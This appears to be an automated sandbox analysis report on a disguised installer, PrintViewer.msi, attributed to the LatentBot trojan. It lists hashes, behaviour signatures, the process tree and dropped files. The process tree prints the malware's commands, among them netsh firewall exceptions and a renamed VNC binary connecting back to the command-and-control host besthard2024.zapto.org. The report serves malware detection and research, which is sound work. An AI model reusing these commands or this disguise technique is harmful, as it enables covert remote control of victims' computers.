Analysis

  • max time kernel
    145s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-09-2024 22:29

General

  • Target

    PrintViewer.msi

  • Size

    6.7MB

  • MD5

    85f914ec316e8d20e8e13ef3719e04e4

  • SHA1

    86ec276d409525bd8c1ef6d47ec8eece7639c0a2

  • SHA256

    00ceea629efd7eb1d9eee5706ce8089336259c099fc4af274baf857bd1ddf230

  • SHA512

    6a9eebfd6b4e794ab1fd949fa2093559460390a1d7843484e2086145e2ae968d8c347a3b3392aab2ebc41463cf97a3d36b23b6e8f80000949bb66c8eff3ba4e6

  • SSDEEP

    98304:57vB+ZHiEZJMuI9JqwLOO+lzsnMHDqqxLSd7qqXR2EkLus6elw5Xe21NtcP33h3u:5IiiJiTqwLOTsMHDHBAI8kcXvWP1u

Malware Config

Extracted

Family

latentbot

C2

besthard2024.zapto.org

Signatures

  • LatentBot

    Modular trojan written in Delphi which has been in-the-wild since 2013.

  • Blocklisted process makes network request 1 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Drops file in Windows directory 13 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 10 IoCs
  • Disables Windows logging functionality 2 TTPs

    Changes registry settings to disable Windows Event logging.

  • Kills process with taskkill 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\PrintViewer.msi
    1⤵
    • Blocklisted process makes network request
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:4588
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4740
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 9152167B1A0DB117DAB500E83DA1D16E
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:1876
    • C:\Windows\Installer\MSI9408.tmp
      "C:\Windows\Installer\MSI9408.tmp" /DontWait /HideWindow /dir "C:\Games\" "C:\Games\PrintDrivers.exe" /HideWindow "C:\Games\PrintDrivers.cmd"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:1508
  • C:\Games\PrintDrivers.exe
    "C:\Games\PrintDrivers.exe" /HideWindow "C:\Games\PrintDrivers.cmd"
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    PID:100
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Games\PrintDrivers.cmd" "
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3920
    • C:\Windows\system32\mode.com
      Mode 90,20
      2⤵
        PID:3656
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c Set GUID[ 2>Nul
        2⤵
          PID:4860
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3912
          • C:\Windows\system32\reg.exe
            Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description
            3⤵
              PID:3092
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic process where (name="PrintDriver.exe") get commandline
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3408
          • C:\Windows\system32\findstr.exe
            findstr /i "PrintDriver.exe"
            2⤵
              PID:3924
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" type C:\Games\PrintDriver.txt"
              2⤵
                PID:1504
              • C:\Windows\system32\cmd.exe
                cmd
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3508
                • C:\Windows\system32\mode.com
                  Mode 90,20
                  3⤵
                    PID:4164
                  • C:\Windows\system32\netsh.exe
                    netsh firewall add allowedprogram program="C:\Games\PrintDriver.exe" name="MyApplication" mode=ENABLE scope=ALL
                    3⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:4592
                  • C:\Windows\system32\netsh.exe
                    netsh firewall add allowedprogram program="C:\Games\PrintDriver.exe" name="MyApplicatio" mode=ENABLE scope=ALL profile=ALL
                    3⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:3896
                  • C:\Windows\System32\Wbem\WMIC.exe
                    wmic process where (name="PrintDriver.exe") get commandline
                    3⤵
                      PID:4972
                    • C:\Windows\system32\findstr.exe
                      findstr /i "PrintDriver.exe"
                      3⤵
                        PID:3484
                      • C:\Games\PrintDriver.exe
                        C:\Games\PrintDriver.exe -autoreconnect ID:5229182 -connect besthard2024.zapto.org:5500 -run
                        3⤵
                        • Executes dropped EXE
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of SendNotifyMessage
                        PID:2264
                    • C:\Windows\system32\timeout.exe
                      timeout /t 1
                      2⤵
                      • Delays execution with timeout.exe
                      PID:4620
                    • C:\Windows\system32\taskkill.exe
                      taskkill /im rundll32.exe /f
                      2⤵
                      • Kills process with taskkill
                      PID:3228
                    • C:\Windows\system32\timeout.exe
                      timeout /t 1
                      2⤵
                      • Delays execution with timeout.exe
                      PID:1824
                    • C:\Windows\system32\taskkill.exe
                      taskkill /im rundll32.exe /f
                      2⤵
                      • Kills process with taskkill
                      PID:3860
                    • C:\Windows\system32\timeout.exe
                      timeout /t 1
                      2⤵
                      • Delays execution with timeout.exe
                      PID:2064
                    • C:\Windows\system32\taskkill.exe
                      taskkill /im rundll32.exe /f
                      2⤵
                      • Kills process with taskkill
                      PID:2332
                    • C:\Games\PrintDrivers.exe
                      C:\Games\PrintDrivers.exe /HideWindow C:\Games\driverhelp.cmd
                      2⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      PID:3808
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c ""C:\Games\driverhelp.cmd" "
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4064
                    • C:\Windows\system32\mode.com
                      Mode 90,20
                      2⤵
                        PID:4652
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c Set GUID[ 2>Nul
                        2⤵
                          PID:3608
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:5104
                          • C:\Windows\system32\reg.exe
                            Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description
                            3⤵
                              PID:4540
                          • C:\Windows\system32\timeout.exe
                            timeout /t 20
                            2⤵
                            • Delays execution with timeout.exe
                            PID:3848
                          • C:\Windows\system32\timeout.exe
                            timeout /t 20
                            2⤵
                            • Delays execution with timeout.exe
                            PID:732
                          • C:\Windows\system32\timeout.exe
                            timeout /t 20
                            2⤵
                            • Delays execution with timeout.exe
                            PID:4244
                          • C:\Windows\system32\timeout.exe
                            timeout /t 20
                            2⤵
                            • Delays execution with timeout.exe
                            PID:212
                          • C:\Windows\system32\timeout.exe
                            timeout /t 20
                            2⤵
                            • Delays execution with timeout.exe
                            PID:1904
                          • C:\Windows\system32\timeout.exe
                            timeout /t 20
                            2⤵
                            • Delays execution with timeout.exe
                            PID:3436
                          • C:\Windows\system32\timeout.exe
                            timeout /t 20
                            2⤵
                            • Delays execution with timeout.exe
                            PID:2828

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • C:\Config.Msi\e578f33.rbs

                          Filesize

                          418KB

                          MD5

                          7dbddb025413d21e7f20dfc620235b2d

                          SHA1

                          8f737da5639aa4036622b6cc164416868a1918f3

                          SHA256

                          df5f357c9561f91a8f06128323636d42befad499f847f59b475259f6702e3be3

                          SHA512

                          22b4437e377221aebf253abaac6e91834905755198ee695e414ac877fe6ab89680c960c59bfcd9483ca3e0b34170046c19dfb41aa194016f85fae74bfbc61202

                        • C:\Games\PrintDriver.exe

                          Filesize

                          2.8MB

                          MD5

                          27c1c264c6fce4a5f44419f1783db8e0

                          SHA1

                          e071486e4dfef3a13f958a252d7000d3ce7bfd89

                          SHA256

                          29379afd1ca5439c82931d623fda335174dc416e5b013591457fa1f7bbe564db

                          SHA512

                          a80a512be6f152e8737cd5d0a0a2a193eaf88f3bfb7ed6b7695d227e195db278e2734ebfc9fe48a68cfb13e4e5bb7fb4825019cfa2210ba741ecf8b11f954a98

                        • C:\Games\PrintDriver.txt

                          Filesize

                          1KB

                          MD5

                          6eb13f7936a83f4c44842029914aad6e

                          SHA1

                          7b9b27731d4ca6f996ce68c5d68b4d653e31d915

                          SHA256

                          8d9bb49947d9dc7fa7be7310149a99f13a0c02580fd996aae31c69d673775c49

                          SHA512

                          227788193867b2f99a62ae792d91562ad46ea3fa0855cf6ef28fc0de31d43f2e671c6ef50e534f0235f1f663769715bef162913a554e86e581fe05455373623e

                        • C:\Games\PrintDrivers.cmd

                          Filesize

                          1KB

                          MD5

                          eacc690f71a77685f030bef23b506b91

                          SHA1

                          03b911ba997d44028bf515ea44fe4813b4b4a785

                          SHA256

                          0f1d30740f2e46b22b86fb01acdabbd02440d7dbebe963a405fb3a5661b23263

                          SHA512

                          9870aa4dc699b74bfc8fb53df0c74686913f42ea2321bee39786e5be696fb081e3dfdac1b312f3c439c14e3061f35cefe820ef1ac5c853274ca0c867bf50a54d

                        • C:\Games\PrintDrivers.exe

                          Filesize

                          403KB

                          MD5

                          29ed7d64ce8003c0139cccb04d9af7f0

                          SHA1

                          8172071a639681934d3dc77189eb88a04c8bcfac

                          SHA256

                          e48aac5148b261371c714b9e00268809832e4f82d23748e44f5cfbbf20ca3d3f

                          SHA512

                          4bdd4bf57eaf0c9914e483e160182db7f2581b0e2adc133885bf0f364123d849d247d3f077a58d930e80502a7f27f1457f7e2502d466aec80a4fbeebd0b59415

                        • C:\Games\UltraVNC.ini

                          Filesize

                          1KB

                          MD5

                          b9dfbea744cc6c65473a97f2b959e44c

                          SHA1

                          c022f1d97fa56d61ad935aafa4e9e59e611e746a

                          SHA256

                          6f95a4eff9b0c2eaf37104b323d2b09c037aa7c3d472a1887c0f7914aa6c835d

                          SHA512

                          b92c8ea3583eb87f365b96cd45562cac2c4343e281c5090fc00db3f03bb5538a2d8aea3c39449d8d79cad31ed3692f6045266811d50fdd69807d8b12a9649eb5

                        • C:\Games\driverhelp.cmd

                          Filesize

                          870B

                          MD5

                          fd3b5847ddb8a31413951c0aa870ab95

                          SHA1

                          e3e91e3e9fa442cd1937422120de91da87973ddb

                          SHA256

                          e4f5e16dfe9bbe6d63f266103c35c0035a2d4014f516420190b7cfafb02b08ad

                          SHA512

                          5d8599f7d6f0824ab30118f5680bf89d28c1e7e9de4ed61af9074cb9d339619d59dab8e5818dc93dcf5b27ad9e8a863c5d082f8f829aa8c4a026ec5da2454096

                        • C:\Windows\Installer\MSI8FBD.tmp

                          Filesize

                          936KB

                          MD5

                          13056f6fc48a93c1268d690e554f4571

                          SHA1

                          b83de3638e8551a315bb51703762a9820a7e0688

                          SHA256

                          aeda49baf2d79da2f7a9266f1fb7884111c2620e187090321f5278af5131c996

                          SHA512

                          ca828b4248e399178a8614f941332d159a30bad0156df0d5f4c4ca9d74d0ccb61fac59f34c945f5f914e22ec639bd97718f76d21b452825b07fe4041d1a44824

                        • C:\Windows\Installer\MSI9408.tmp

                          Filesize

                          413KB

                          MD5

                          c8311ded7db427ce2c2879558ce8a8c1

                          SHA1

                          1895ce48297025dc005ebebc8256ac6d62013dec

                          SHA256

                          6fc76509f00c8ac81b597feeab520e684d190d831d828ca318d1e54afbf4a193

                          SHA512

                          d293885ef98f4e3fd9794500b8d560354cec3227916df05027f8c311076c60f11b6857e4e0ab0618f4d42da8141b42bcfb829a3a43b29a73ce0aa9967a80a232